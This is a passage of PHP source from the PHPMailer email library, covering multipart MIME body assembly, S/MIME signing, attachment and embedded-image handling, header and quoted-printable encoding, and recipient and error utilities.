        //Can we do a 7-bit downgrade?
        if ($bodyEncoding == '8bit' and !$this->has8bitChars($this->Body)) {
            $bodyEncoding = '7bit';
            //All ISO 8859, Windows codepage and UTF-8 charsets are ascii compatible up to 7-bit
            $bodyCharSet = 'us-ascii';
        }
        //If lines are too long, and we're not already using an encoding that will shorten them,
        //change to quoted-printable transfer encoding for the body part only
        if ('base64' != $this->Encoding and self::hasLineLongerThanMax($this->Body)) {
            $bodyEncoding = 'quoted-printable';
        }

        $altBodyEncoding = $this->Encoding;
        $altBodyCharSet = $this->CharSet;
        //Can we do a 7-bit downgrade?
        if ($altBodyEncoding == '8bit' and !$this->has8bitChars($this->AltBody)) {
            $altBodyEncoding = '7bit';
            //All ISO 8859, Windows codepage and UTF-8 charsets are ascii compatible up to 7-bit
            $altBodyCharSet = 'us-ascii';
        }
        //If lines are too long, and we're not already using an encoding that will shorten them,
        //change to quoted-printable transfer encoding for the alt body part only
        if ('base64' != $altBodyEncoding and self::hasLineLongerThanMax($this->AltBody)) {
            $altBodyEncoding = 'quoted-printable';
        }
        //Use this as a preamble in all multipart message types
        $mimepre = "This is a multi-part message in MIME format." . $this->LE . $this->LE;
        switch ($this->message_type) {
            case 'inline':
                $body .= $mimepre;
                $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, '', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->attachAll('inline', $this->boundary[1]);
                break;
            case 'attach':
                $body .= $mimepre;
                $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, '', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->attachAll('attachment', $this->boundary[1]);
                break;
            case 'inline_attach':
                $body .= $mimepre;
                $body .= $this->textLine('--' . $this->boundary[1]);
                $body .= $this->headerLine('Content-Type', 'multipart/related;');
                $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
                $body .= $this->LE;
                $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, '', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->attachAll('inline', $this->boundary[2]);
                $body .= $this->LE;
                $body .= $this->attachAll('attachment', $this->boundary[1]);
                break;
            case 'alt':
                $body .= $mimepre;
                $body .= $this->getBoundary($this->boundary[1], $altBodyCharSet, 'text/plain', $altBodyEncoding);
                $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, 'text/html', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                if (!empty($this->Ical)) {
                    $body .= $this->getBoundary($this->boundary[1], '', 'text/calendar; method=REQUEST', '');
                    $body .= $this->encodeString($this->Ical, $this->Encoding);
                    $body .= $this->LE . $this->LE;
                }
                $body .= $this->endBoundary($this->boundary[1]);
                break;
            case 'alt_inline':
                $body .= $mimepre;
                $body .= $this->getBoundary($this->boundary[1], $altBodyCharSet, 'text/plain', $altBodyEncoding);
                $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->textLine('--' . $this->boundary[1]);
                $body .= $this->headerLine('Content-Type', 'multipart/related;');
                $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
                $body .= $this->LE;
                $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, 'text/html', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->attachAll('inline', $this->boundary[2]);
                $body .= $this->LE;
                $body .= $this->endBoundary($this->boundary[1]);
                break;
            case 'alt_attach':
                $body .= $mimepre;
                $body .= $this->textLine('--' . $this->boundary[1]);
                $body .= $this->headerLine('Content-Type', 'multipart/alternative;');
                $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
                $body .= $this->LE;
                $body .= $this->getBoundary($this->boundary[2], $altBodyCharSet, 'text/plain', $altBodyEncoding);
                $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, 'text/html', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->endBoundary($this->boundary[2]);
                $body .= $this->LE;
                $body .= $this->attachAll('attachment', $this->boundary[1]);
                break;
            case 'alt_inline_attach':
                $body .= $mimepre;
                $body .= $this->textLine('--' . $this->boundary[1]);
                $body .= $this->headerLine('Content-Type', 'multipart/alternative;');
                $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
                $body .= $this->LE;
                $body .= $this->getBoundary($this->boundary[2], $altBodyCharSet, 'text/plain', $altBodyEncoding);
                $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->textLine('--' . $this->boundary[2]);
                $body .= $this->headerLine('Content-Type', 'multipart/related;');
                $body .= $this->textLine("\tboundary=\"" . $this->boundary[3] . '"');
                $body .= $this->LE;
                $body .= $this->getBoundary($this->boundary[3], $bodyCharSet, 'text/html', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->attachAll('inline', $this->boundary[3]);
                $body .= $this->LE;
                $body .= $this->endBoundary($this->boundary[2]);
                $body .= $this->LE;
                $body .= $this->attachAll('attachment', $this->boundary[1]);
                break;
            default:
                // Catch case 'plain' and case '', applies to simple `text/plain` and `text/html` body content types
                //Reset the `Encoding` property in case we changed it for line length reasons
                $this->Encoding = $bodyEncoding;
                $body .= $this->encodeString($this->Body, $this->Encoding);
                break;
        }

        if ($this->isError()) {
            $body = '';
        } elseif ($this->sign_key_file) {
            try {
                if (!defined('PKCS7_TEXT')) {
                    throw new phpmailerException($this->lang('extension_missing') . 'openssl');
                }
                // @TODO would be nice to use php://temp streams here, but need to wrap for PHP < 5.1
                $file = tempnam(sys_get_temp_dir(), 'mail');
                if (false === file_put_contents($file, $body)) {
                    throw new phpmailerException($this->lang('signing') . ' Could not write temp file');
                }
                $signed = tempnam(sys_get_temp_dir(), 'signed');
                //Workaround for PHP bug https://bugs.php.net/bug.php?id=69197
                if (empty($this->sign_extracerts_file)) {
                    $sign = @openssl_pkcs7_sign(
                        $file,
                        $signed,
                        'file://' . realpath($this->sign_cert_file),
                        array('file://' . realpath($this->sign_key_file), $this->sign_key_pass),
                        null
                    );
                } else {
                    $sign = @openssl_pkcs7_sign(
                        $file,
                        $signed,
                        'file://' . realpath($this->sign_cert_file),
                        array('file://' . realpath($this->sign_key_file), $this->sign_key_pass),
                        null,
                        PKCS7_DETACHED,
                        $this->sign_extracerts_file
                    );
                }
                if ($sign) {
                    @unlink($file);
                    $body = file_get_contents($signed);
                    @unlink($signed);
                    //The message returned by openssl contains both headers and body, so need to split them up
                    $parts = explode("\n\n", $body, 2);
                    $this->MIMEHeader .= $parts[0] . $this->LE . $this->LE;
                    $body = $parts[1];
                } else {
                    @unlink($file);
                    @unlink($signed);
                    throw new phpmailerException($this->lang('signing') . openssl_error_string());
                }
            } catch (phpmailerException $exc) {
                $body = '';
                if ($this->exceptions) {
                    throw $exc;
                }
            }
        }
        return $body;
    }

    /**
     * Return the start of a message boundary.
     * @access protected
     * @param string $boundary
     * @param string $charSet
     * @param string $contentType
     * @param string $encoding
     * @return string
     */
    protected function getBoundary($boundary, $charSet, $contentType, $encoding)
    {
        $result = '';
        if ($charSet == '') {
            $charSet = $this->CharSet;
        }
        if ($contentType == '') {
            $contentType = $this->ContentType;
        }
        if ($encoding == '') {
            $encoding = $this->Encoding;
        }
        $result .= $this->textLine('--' . $boundary);
        $result .= sprintf('Content-Type: %s; charset=%s', $contentType, $charSet);
        $result .= $this->LE;
        // RFC1341 part 5 says 7bit is assumed if not specified
        if ($encoding != '7bit') {
            $result .= $this->headerLine('Content-Transfer-Encoding', $encoding);
        }
        $result .= $this->LE;

        return $result;
    }

    /**
     * Return the end of a message boundary.
     * @access protected
     * @param string $boundary
     * @return string
     */
    protected function endBoundary($boundary)
    {
        return $this->LE . '--' . $boundary . '--' . $this->LE;
    }

    /**
     * Set the message type.
     * PHPMailer only supports some preset message types, not arbitrary MIME structures.
     * @access protected
     * @return void
     */
    protected function setMessageType()
    {
        $type = array();
        if ($this->alternativeExists()) {
            $type[] = 'alt';
        }
        if ($this->inlineImageExists()) {
            $type[] = 'inline';
        }
        if ($this->attachmentExists()) {
            $type[] = 'attach';
        }
        $this->message_type = implode('_', $type);
        if ($this->message_type == '') {
            //The 'plain' message_type refers to the message having a single body element, not that it is plain-text
            $this->message_type = 'plain';
        }
    }

    /**
     * Format a header line.
     * @access public
     * @param string $name
     * @param string $value
     * @return string
     */
    public function headerLine($name, $value)
    {
        return $name . ': ' . $value . $this->LE;
    }

    /**
     * Return a formatted mail line.
     * @access public
     * @param string $value
     * @return string
     */
    public function textLine($value)
    {
        return $value . $this->LE;
    }

    /**
     * Add an attachment from a path on the filesystem.
     * Never use a user-supplied path to a file!
     * Returns false if the file could not be found or read.
     * Explicitly *does not* support passing URLs; PHPMailer is not an HTTP client.
     * If you need to do that, fetch the resource yourself and pass it in via a local file or string.
     * @param string $path Path to the attachment.
     * @param string $name Overrides the attachment name.
     * @param string $encoding File encoding (see $Encoding).
     * @param string $type File extension (MIME) type.
     * @param string $disposition Disposition to use
     * @throws phpmailerException
     * @return boolean
     */
    public function addAttachment($path, $name = '', $encoding = 'base64', $type = '', $disposition = 'attachment')
    {
        try {
            if (!self::isPermittedPath($path) or !@is_file($path)) {
                throw new phpmailerException($this->lang('file_access') . $path, self::STOP_CONTINUE);
            }

            // If a MIME type is not specified, try to work it out from the file name
            if ($type == '') {
                $type = self::filenameToType($path);
            }

            $filename = basename($path);
            if ($name == '') {
                $name = $filename;
            }

            $this->attachment[] = array(
                0 => $path,
                1 => $filename,
                2 => $name,
                3 => $encoding,
                4 => $type,
                5 => false, // isStringAttachment
                6 => $disposition,
                7 => 0
            );

        } catch (phpmailerException $exc) {
            $this->setError($exc->getMessage());
            $this->edebug($exc->getMessage());
            if ($this->exceptions) {
                throw $exc;
            }
            return false;
        }
        return true;
    }

    /**
     * Return the array of attachments.
     * @return array
     */
    public function getAttachments()
    {
        return $this->attachment;
    }

    /**
     * Attach all file, string, and binary attachments to the message.
     * Returns an empty string on failure.
     * @access protected
     * @param string $disposition_type
     * @param string $boundary
     * @return string
     */
    protected function attachAll($disposition_type, $boundary)
    {
        // Return text of body
        $mime = array();
        $cidUniq = array();
        $incl = array();

        // Add all attachments
        foreach ($this->attachment as $attachment) {
            // Check if it is a valid disposition_filter
            if ($attachment[6] == $disposition_type) {
                // Check for string attachment
                $string = '';
                $path = '';
                $bString = $attachment[5];
                if ($bString) {
                    $string = $attachment[0];
                } else {
                    $path = $attachment[0];
                }

                $inclhash = md5(serialize($attachment));
                if (in_array($inclhash, $incl)) {
                    continue;
                }
                $incl[] = $inclhash;
                $name = $attachment[2];
                $encoding = $attachment[3];
                $type = $attachment[4];
                $disposition = $attachment[6];
                $cid = $attachment[7];
                if ($disposition == 'inline' && array_key_exists($cid, $cidUniq)) {
                    continue;
                }
                $cidUniq[$cid] = true;

                $mime[] = sprintf('--%s%s', $boundary, $this->LE);
                //Only include a filename property if we have one
                if (!empty($name)) {
                    $mime[] = sprintf(
                        'Content-Type: %s; name="%s"%s',
                        $type,
                        $this->encodeHeader($this->secureHeader($name)),
                        $this->LE
                    );
                } else {
                    $mime[] = sprintf(
                        'Content-Type: %s%s',
                        $type,
                        $this->LE
                    );
                }
                // RFC1341 part 5 says 7bit is assumed if not specified
                if ($encoding != '7bit') {
                    $mime[] = sprintf('Content-Transfer-Encoding: %s%s', $encoding, $this->LE);
                }

                if ($disposition == 'inline') {
                    $mime[] = sprintf('Content-ID: <%s>%s', $cid, $this->LE);
                }

                // If a filename contains any of these chars, it should be quoted,
                // but not otherwise: RFC2183 & RFC2045 5.1
                // Fixes a warning in IETF's msglint MIME checker
                // Allow for bypassing the Content-Disposition header totally
                if (!(empty($disposition))) {
                    $encoded_name = $this->encodeHeader($this->secureHeader($name));
                    if (preg_match('/[ \(\)<>@,;:\\"\/\[\]\?=]/', $encoded_name)) {
                        $mime[] = sprintf(
                            'Content-Disposition: %s; filename="%s"%s',
                            $disposition,
                            $encoded_name,
                            $this->LE . $this->LE
                        );
                    } else {
                        if (!empty($encoded_name)) {
                            $mime[] = sprintf(
                                'Content-Disposition: %s; filename=%s%s',
                                $disposition,
                                $encoded_name,
                                $this->LE . $this->LE
                            );
                        } else {
                            $mime[] = sprintf(
                                'Content-Disposition: %s%s',
                                $disposition,
                                $this->LE . $this->LE
                            );
                        }
                    }
                } else {
                    $mime[] = $this->LE;
                }

                // Encode as string attachment
                if ($bString) {
                    $mime[] = $this->encodeString($string, $encoding);
                    if ($this->isError()) {
                        return '';
                    }
                    $mime[] = $this->LE . $this->LE;
                } else {
                    $mime[] = $this->encodeFile($path, $encoding);
                    if ($this->isError()) {
                        return '';
                    }
                    $mime[] = $this->LE . $this->LE;
                }
            }
        }

        $mime[] = sprintf('--%s--%s', $boundary, $this->LE);

        return implode('', $mime);
    }

    /**
     * Encode a file attachment in requested format.
     * Returns an empty string on failure.
     * @param string $path The full path to the file
     * @param string $encoding The encoding to use; one of 'base64', '7bit', '8bit', 'binary', 'quoted-printable'
     * @throws phpmailerException
     * @access protected
     * @return string
     */
    protected function encodeFile($path, $encoding = 'base64')
    {
        try {
            if (!self::isPermittedPath($path) or !file_exists($path)) {
                throw new phpmailerException($this->lang('file_open') . $path, self::STOP_CONTINUE);
            }
            $magic_quotes = false;
            if( version_compare(PHP_VERSION, '7.4.0', '<') ) {
                $magic_quotes = get_magic_quotes_runtime();
            }
            if ($magic_quotes) {
                if (version_compare(PHP_VERSION, '5.3.0', '<')) {
                    set_magic_quotes_runtime(false);
                } else {
                    //Doesn't exist in PHP 5.4, but we don't need to check because
                    //get_magic_quotes_runtime always returns false in 5.4+
                    //so it will never get here
                    ini_set('magic_quotes_runtime', false);
                }
            }
            $file_buffer = file_get_contents($path);
            $file_buffer = $this->encodeString($file_buffer, $encoding);
            if ($magic_quotes) {
                if (version_compare(PHP_VERSION, '5.3.0', '<')) {
                    set_magic_quotes_runtime($magic_quotes);
                } else {
                    ini_set('magic_quotes_runtime', $magic_quotes);
                }
            }
            return $file_buffer;
        } catch (Exception $exc) {
            $this->setError($exc->getMessage());
            return '';
        }
    }

    /**
     * Encode a string in requested format.
     * Returns an empty string on failure.
     * @param string $str The text to encode
     * @param string $encoding The encoding to use; one of 'base64', '7bit', '8bit', 'binary', 'quoted-printable'
     * @access public
     * @return string
     */
    public function encodeString($str, $encoding = 'base64')
    {
        $encoded = '';
        switch (strtolower($encoding)) {
            case 'base64':
                $encoded = chunk_split(base64_encode($str), 76, $this->LE);
                break;
            case '7bit':
            case '8bit':
                $encoded = $this->fixEOL($str);
                // Make sure it ends with a line break
                if (substr($encoded, -(strlen($this->LE))) != $this->LE) {
                    $encoded .= $this->LE;
                }
                break;
            case 'binary':
                $encoded = $str;
                break;
            case 'quoted-printable':
                $encoded = $this->encodeQP($str);
                break;
            default:
                $this->setError($this->lang('encoding') . $encoding);
                break;
        }
        return $encoded;
    }

    /**
     * Encode a header string optimally.
     * Picks shortest of Q, B, quoted-printable or none.
     * @access public
     * @param string $str
     * @param string $position
     * @return string
     */
    public function encodeHeader($str, $position = 'text')
    {
        $matchcount = 0;
        switch (strtolower($position)) {
            case 'phrase':
                if (!preg_match('/[\200-\377]/', $str)) {
                    // Can't use addslashes as we don't know the value of magic_quotes_sybase
                    $encoded = addcslashes($str, "\0..\37\177\\\"");
                    if (($str == $encoded) && !preg_match('/[^A-Za-z0-9!#$%&\'*+\/=?^_`{|}~ -]/', $str)) {
                        return ($encoded);
                    } else {
                        return ("\"$encoded\"");
                    }
                }
                $matchcount = preg_match_all('/[^\040\041\043-\133\135-\176]/', $str, $matches);
                break;
            /** @noinspection PhpMissingBreakStatementInspection */
            case 'comment':
                $matchcount = preg_match_all('/[()"]/', $str, $matches);
                // Intentional fall-through
            case 'text':
            default:
                $matchcount += preg_match_all('/[\000-\010\013\014\016-\037\177-\377]/', $str, $matches);
                break;
        }

        //There are no chars that need encoding
        if ($matchcount == 0) {
            return ($str);
        }

        $maxlen = 75 - 7 - strlen($this->CharSet);
        // Try to select the encoding which should produce the shortest output
        if ($matchcount > strlen($str) / 3) {
            // More than a third of the content will need encoding, so B encoding will be most efficient
            $encoding = 'B';
            if (function_exists('mb_strlen') && $this->hasMultiBytes($str)) {
                // Use a custom function which correctly encodes and wraps long
                // multibyte strings without breaking lines within a character
                $encoded = $this->base64EncodeWrapMB($str, "\n");
            } else {
                $encoded = base64_encode($str);
                $maxlen -= $maxlen % 4;
                $encoded = trim(chunk_split($encoded, $maxlen, "\n"));
            }
        } else {
            $encoding = 'Q';
            $encoded = $this->encodeQ($str, $position);
            $encoded = $this->wrapText($encoded, $maxlen, true);
            $encoded = str_replace('=' . self::CRLF, "\n", trim($encoded));
        }

        $encoded = preg_replace('/^(.*)$/m', ' =?' . $this->CharSet . "?$encoding?\\1?=", $encoded);
        $encoded = trim(str_replace("\n", $this->LE, $encoded));

        return $encoded;
    }

    /**
     * Check if a string contains multi-byte characters.
     * @access public
     * @param string $str multi-byte text to wrap encode
     * @return boolean
     */
    public function hasMultiBytes($str)
    {
        if (function_exists('mb_strlen')) {
            return (strlen($str) > mb_strlen($str, $this->CharSet));
        } else { // Assume no multibytes (we can't handle without mbstring functions anyway)
            return false;
        }
    }

    /**
     * Does a string contain any 8-bit chars (in any charset)?
     * @param string $text
     * @return boolean
     */
    public function has8bitChars($text)
    {
        return (boolean)preg_match('/[\x80-\xFF]/', $text);
    }

    /**
     * Encode and wrap long multibyte strings for mail headers
     * without breaking lines within a character.
     * Adapted from a function by paravoid
     * @link http://www.php.net/manual/en/function.mb-encode-mimeheader.php#60283
     * @access public
     * @param string $str multi-byte text to wrap encode
     * @param string $linebreak string to use as linefeed/end-of-line
     * @return string
     */
    public function base64EncodeWrapMB($str, $linebreak = null)
    {
        $start = '=?' . $this->CharSet . '?B?';
        $end = '?=';
        $encoded = '';
        if ($linebreak === null) {
            $linebreak = $this->LE;
        }

        $mb_length = mb_strlen($str, $this->CharSet);
        // Each line must have length <= 75, including $start and $end
        $length = 75 - strlen($start) - strlen($end);
        // Average multi-byte ratio
        $ratio = $mb_length / strlen($str);
        // Base64 has a 4:3 ratio
        $avgLength = floor($length * $ratio * .75);

        for ($i = 0; $i < $mb_length; $i += $offset) {
            $lookBack = 0;
            do {
                $offset = $avgLength - $lookBack;
                $chunk = mb_substr($str, $i, $offset, $this->CharSet);
                $chunk = base64_encode($chunk);
                $lookBack++;
            } while (strlen($chunk) > $length);
            $encoded .= $chunk . $linebreak;
        }

        // Chomp the last linefeed
        $encoded = substr($encoded, 0, -strlen($linebreak));
        return $encoded;
    }

    /**
     * Encode a string in quoted-printable format.
     * According to RFC2045 section 6.7.
     * @access public
     * @param string $string The text to encode
     * @param integer $line_max Number of chars allowed on a line before wrapping
     * @return string
     * @link http://www.php.net/manual/en/function.quoted-printable-decode.php#89417 Adapted from this comment
     */
    public function encodeQP($string, $line_max = 76)
    {
        // Use native function if it's available (>= PHP5.3)
        if (function_exists('quoted_printable_encode')) {
            return quoted_printable_encode($string);
        }
        // Fall back to a pure PHP implementation
        $string = str_replace(
            array('%20', '%0D%0A.', '%0D%0A', '%'),
            array(' ', "\r\n=2E", "\r\n", '='),
            rawurlencode($string)
        );
        return preg_replace('/[^\r\n]{' . ($line_max - 3) . '}[^=\r\n]{2}/', "$0=\r\n", $string);
    }

    /**
     * Backward compatibility wrapper for an old QP encoding function that was removed.
     * @see PHPMailer::encodeQP()
     * @access public
     * @param string $string
     * @param integer $line_max
     * @param boolean $space_conv
     * @return string
     * @deprecated Use encodeQP instead.
     */
    public function encodeQPphp(
        $string,
        $line_max = 76,
        /** @noinspection PhpUnusedParameterInspection */ $space_conv = false
    ) {
        return $this->encodeQP($string, $line_max);
    }

    /**
     * Encode a string using Q encoding.
     * @link http://tools.ietf.org/html/rfc2047
     * @param string $str the text to encode
     * @param string $position Where the text is going to be used, see the RFC for what that means
     * @access public
     * @return string
     */
    public function encodeQ($str, $position = 'text')
    {
        // There should not be any EOL in the string
        $pattern = '';
        $encoded = str_replace(array("\r", "\n"), '', $str);
        switch (strtolower($position)) {
            case 'phrase':
                // RFC 2047 section 5.3
                $pattern = '^A-Za-z0-9!*+\/ -';
                break;
            /** @noinspection PhpMissingBreakStatementInspection */
            case 'comment':
                // RFC 2047 section 5.2
                $pattern = '\(\)"';
                // intentional fall-through
                // for this reason we build the $pattern without including delimiters and []
            case 'text':
            default:
                // RFC 2047 section 5.1
                // Replace every high ascii, control, =, ? and _ characters
                $pattern = '\000-\011\013\014\016-\037\075\077\137\177-\377' . $pattern;
                break;
        }
        $matches = array();
        if (preg_match_all("/[{$pattern}]/", $encoded, $matches)) {
            // If the string contains an '=', make sure it's the first thing we replace
            // so as to avoid double-encoding
            $eqkey = array_search('=', $matches[0]);
            if (false !== $eqkey) {
                unset($matches[0][$eqkey]);
                array_unshift($matches[0], '=');
            }
            foreach (array_unique($matches[0]) as $char) {
                $encoded = str_replace($char, '=' . sprintf('%02X', ord($char)), $encoded);
            }
        }
        // Replace every spaces to _ (more readable than =20)
        return str_replace(' ', '_', $encoded);
    }

    /**
     * Add a string or binary attachment (non-filesystem).
     * This method can be used to attach ascii or binary data,
     * such as a BLOB record from a database.
     * @param string $string String attachment data.
     * @param string $filename Name of the attachment.
     * @param string $encoding File encoding (see $Encoding).
     * @param string $type File extension (MIME) type.
     * @param string $disposition Disposition to use
     * @return void
     */
    public function addStringAttachment(
        $string,
        $filename,
        $encoding = 'base64',
        $type = '',
        $disposition = 'attachment'
    ) {
        // If a MIME type is not specified, try to work it out from the file name
        if ($type == '') {
            $type = self::filenameToType($filename);
        }
        // Append to $attachment array
        $this->attachment[] = array(
            0 => $string,
            1 => $filename,
            2 => basename($filename),
            3 => $encoding,
            4 => $type,
            5 => true, // isStringAttachment
            6 => $disposition,
            7 => 0
        );
    }

    /**
     * Add an embedded (inline) attachment from a file.
     * This can include images, sounds, and just about any other document type.
     * These differ from 'regular' attachments in that they are intended to be
     * displayed inline with the message, not just attached for download.
     * This is used in HTML messages that embed the images
     * the HTML refers to using the $cid value.
     * Never use a user-supplied path to a file!
     * @param string $path Path to the attachment.
     * @param string $cid Content ID of the attachment; Use this to reference
     *        the content when using an embedded image in HTML.
     * @param string $name Overrides the attachment name.
     * @param string $encoding File encoding (see $Encoding).
     * @param string $type File MIME type.
     * @param string $disposition Disposition to use
     * @return boolean True on successfully adding an attachment
     */
    public function addEmbeddedImage($path, $cid, $name = '', $encoding = 'base64', $type = '', $disposition = 'inline')
    {
        if (!self::isPermittedPath($path) or !@is_file($path)) {
            $this->setError($this->lang('file_access') . $path);
            return false;
        }

        // If a MIME type is not specified, try to work it out from the file name
        if ($type == '') {
            $type = self::filenameToType($path);
        }

        $filename = basename($path);
        if ($name == '') {
            $name = $filename;
        }

        // Append to $attachment array
        $this->attachment[] = array(
            0 => $path,
            1 => $filename,
            2 => $name,
            3 => $encoding,
            4 => $type,
            5 => false, // isStringAttachment
            6 => $disposition,
            7 => $cid
        );
        return true;
    }

    /**
     * Add an embedded stringified attachment.
     * This can include images, sounds, and just about any other document type.
     * Be sure to set the $type to an image type for images:
     * JPEG images use 'image/jpeg', GIF uses 'image/gif', PNG uses 'image/png'.
     * @param string $string The attachment binary data.
     * @param string $cid Content ID of the attachment; Use this to reference
     *        the content when using an embedded image in HTML.
     * @param string $name
     * @param string $encoding File encoding (see $Encoding).
     * @param string $type MIME type.
     * @param string $disposition Disposition to use
     * @return boolean True on successfully adding an attachment
     */
    public function addStringEmbeddedImage(
        $string,
        $cid,
        $name = '',
        $encoding = 'base64',
        $type = '',
        $disposition = 'inline'
    ) {
        // If a MIME type is not specified, try to work it out from the name
        if ($type == '' and !empty($name)) {
            $type = self::filenameToType($name);
        }

        // Append to $attachment array
        $this->attachment[] = array(
            0 => $string,
            1 => $name,
            2 => $name,
            3 => $encoding,
            4 => $type,
            5 => true, // isStringAttachment
            6 => $disposition,
            7 => $cid
        );
        return true;
    }

    /**
     * Check if an inline attachment is present.
     * @access public
     * @return boolean
     */
    public function inlineImageExists()
    {
        foreach ($this->attachment as $attachment) {
            if ($attachment[6] == 'inline') {
                return true;
            }
        }
        return false;
    }

    /**
     * Check if an attachment (non-inline) is present.
     * @return boolean
     */
    public function attachmentExists()
    {
        foreach ($this->attachment as $attachment) {
            if ($attachment[6] == 'attachment') {
                return true;
            }
        }
        return false;
    }

    /**
     * Check if this message has an alternative body set.
     * @return boolean
     */
    public function alternativeExists()
    {
        return !empty($this->AltBody);
    }

    /**
     * Clear queued addresses of given kind.
     * @access protected
     * @param string $kind 'to', 'cc', or 'bcc'
     * @return void
     */
    public function clearQueuedAddresses($kind)
    {
        $RecipientsQueue = $this->RecipientsQueue;
        foreach ($RecipientsQueue as $address => $params) {
            if ($params[0] == $kind) {
                unset($this->RecipientsQueue[$address]);
            }
        }
    }

    /**
     * Clear all To recipients.
     * @return void
     */
    public function clearAddresses()
    {
        foreach ($this->to as $to) {
            unset($this->all_recipients[strtolower($to[0])]);
        }
        $this->to = array();
        $this->clearQueuedAddresses('to');
    }

    /**
     * Clear all CC recipients.
     * @return void
     */
    public function clearCCs()
    {
        foreach ($this->cc as $cc) {
            unset($this->all_recipients[strtolower($cc[0])]);
        }
        $this->cc = array();
        $this->clearQueuedAddresses('cc');
    }

    /**
     * Clear all BCC recipients.
     * @return void
     */
    public function clearBCCs()
    {
        foreach ($this->bcc as $bcc) {
            unset($this->all_recipients[strtolower($bcc[0])]);
        }
        $this->bcc = array();
        $this->clearQueuedAddresses('bcc');
    }

    /**
     * Clear all ReplyTo recipients.
     * @return void
     */
    public function clearReplyTos()
    {
        $this->ReplyTo = array();
        $this->ReplyToQueue = array();
    }

    /**
     * Clear all recipient types.
     * @return void
     */
    public function clearAllRecipients()
    {
        $this->to = array();
        $this->cc = array();
        $this->bcc = array();
        $this->all_recipients = array();
        $this->RecipientsQueue = array();
    }

    /**
     * Clear all filesystem, string, and binary attachments.
     * @return void
     */
    public function clearAttachments()
    {
        $this->attachment = array();
    }

    /**
     * Clear all custom headers.
     * @return void
     */
    public function clearCustomHeaders()
    {
        $this->CustomHeader = array();
    }

    /**
     * Add an error message to the error container.
     * @access protected
     * @param string $msg
     * @return void
     */
    protected function setError($msg)
    {
        $this->error_count++;
        if ($this->Mailer == 'smtp' and !is_null($this->smtp)) {
            $lasterror = $this->smtp->getError();
            if (!empty($lasterror['error'])) {
                $msg .= $this->lang('smtp_error') . $lasterror['error'];
                if (!empty($lasterror['detail'])) {
                    $msg .= ' Detail: '. $lasterror['detail'];
                }
                if (!empty($lasterror['smtp_code'])) {
                    $msg .= ' SMTP code: ' . $lasterror['smtp_code'];
                }
                if (!empty($lasterror['smtp_code_ex'])) {
                    $msg .= ' Additional SMTP info: ' . $lasterror['smtp_code_ex'];
                }
            }
        }
        $this->ErrorInfo = $msg;
    }

    /**
     * Return an RFC 822 formatted date.
     * @access public
     * @return string
     * @static
     */
    public static function rfcDate()
    {
        // Set the time zone to whatever the default is to avoid 500 errors
        // Will default to UTC if it's not set properly in php.ini
        date_default_timezone_set(@date_default_timezone_get());
        return date('D, j M Y H:i:s O');
    }

    /**
     * Get the server hostname.
     * Returns 'localhost.localdomain' if unknown.
     * @access protected
     * @return string
     */
    protected function serverHostname()
    {
        $result = 'localhost.localdomain';
        if (!empty($this->Hostname)) {
            $result = $this->Hostname;
        } elseif (isset($_SERVER) and array_key_exists('SERVER_NAME', $_SERVER) and !empty($_SERVER['SERVER_NAME'])) {
            $result = $_SERVER['SERVER_NAME'];
        } elseif (function_exists('gethostname') && gethostname() !== false) {
            $result = gethostname();
        } elseif (php_uname('n') !== false) {
            $result = php_uname('n');
        }
        return $result;
    }

    /**
     * Get an error message in the current language.
     * @access protected
     * @param string $key
     * @return string
     */
    protected function lang($key)
    {
        if (count($this->language) < 1) {
            $this->setLanguage('en'); // set the default language
        }

        if (array_key_exists($key, $this->language)) {
            if ($key == 'smtp_connect_failed') {
                //Include a link to troubleshooting docs on SMTP connection failure
                //this is by far the biggest cause of support questions
                //but it's usually not PHPMailer's fault.
                return $this->language[$key] . ' https://github.com/PHPMailer/PHPMailer/wiki/Troubleshooting';
            }
            return $this->language[$key];
        } else {
            //Return the key as a fallback
            return $key;
        }
    }

    /**
     * Check if an error occurred.
     * @access public
     * @return boolean True if an error did occur.
     */
    public function isError()
    {
        return ($this->error_count > 0);
    }

    /**
     * Ensure consistent line endings in a string.
     * Changes every end of line from CRLF, CR or LF to $this->LE.
     * @access public
     * @param string $str String to fixEOL
     * @return string
     */
    public function fixEOL($str)
    {
        // Normalise to \n
        $nstr = str_replace(array("\r\n", "\r"), "\n", $str);
        // Now convert LE as needed
        if ($this->LE !== "\n") {
            $nstr = str_replace("\n", $this->LE, $nstr);
        }
        return $nstr;
    }

    /**
     * Add a custom header.
     * $name value can be overloaded to contain
     * both header name and value (name:value)
     * @access public
     * @param string $name Custom header name
     * @param string $value Header value
     * @return void
     */
    public function addCustomHeader($name, $value = null)
    {
        if ($value === null) {
            // Value passed in as name:value
            $this->CustomHeader[] = explode(':', $name, 2);
        } else {
            $this->CustomHeader[] = array($name, $value);
        }
    }

    /**
     * Returns all custom headers.
     * @return array
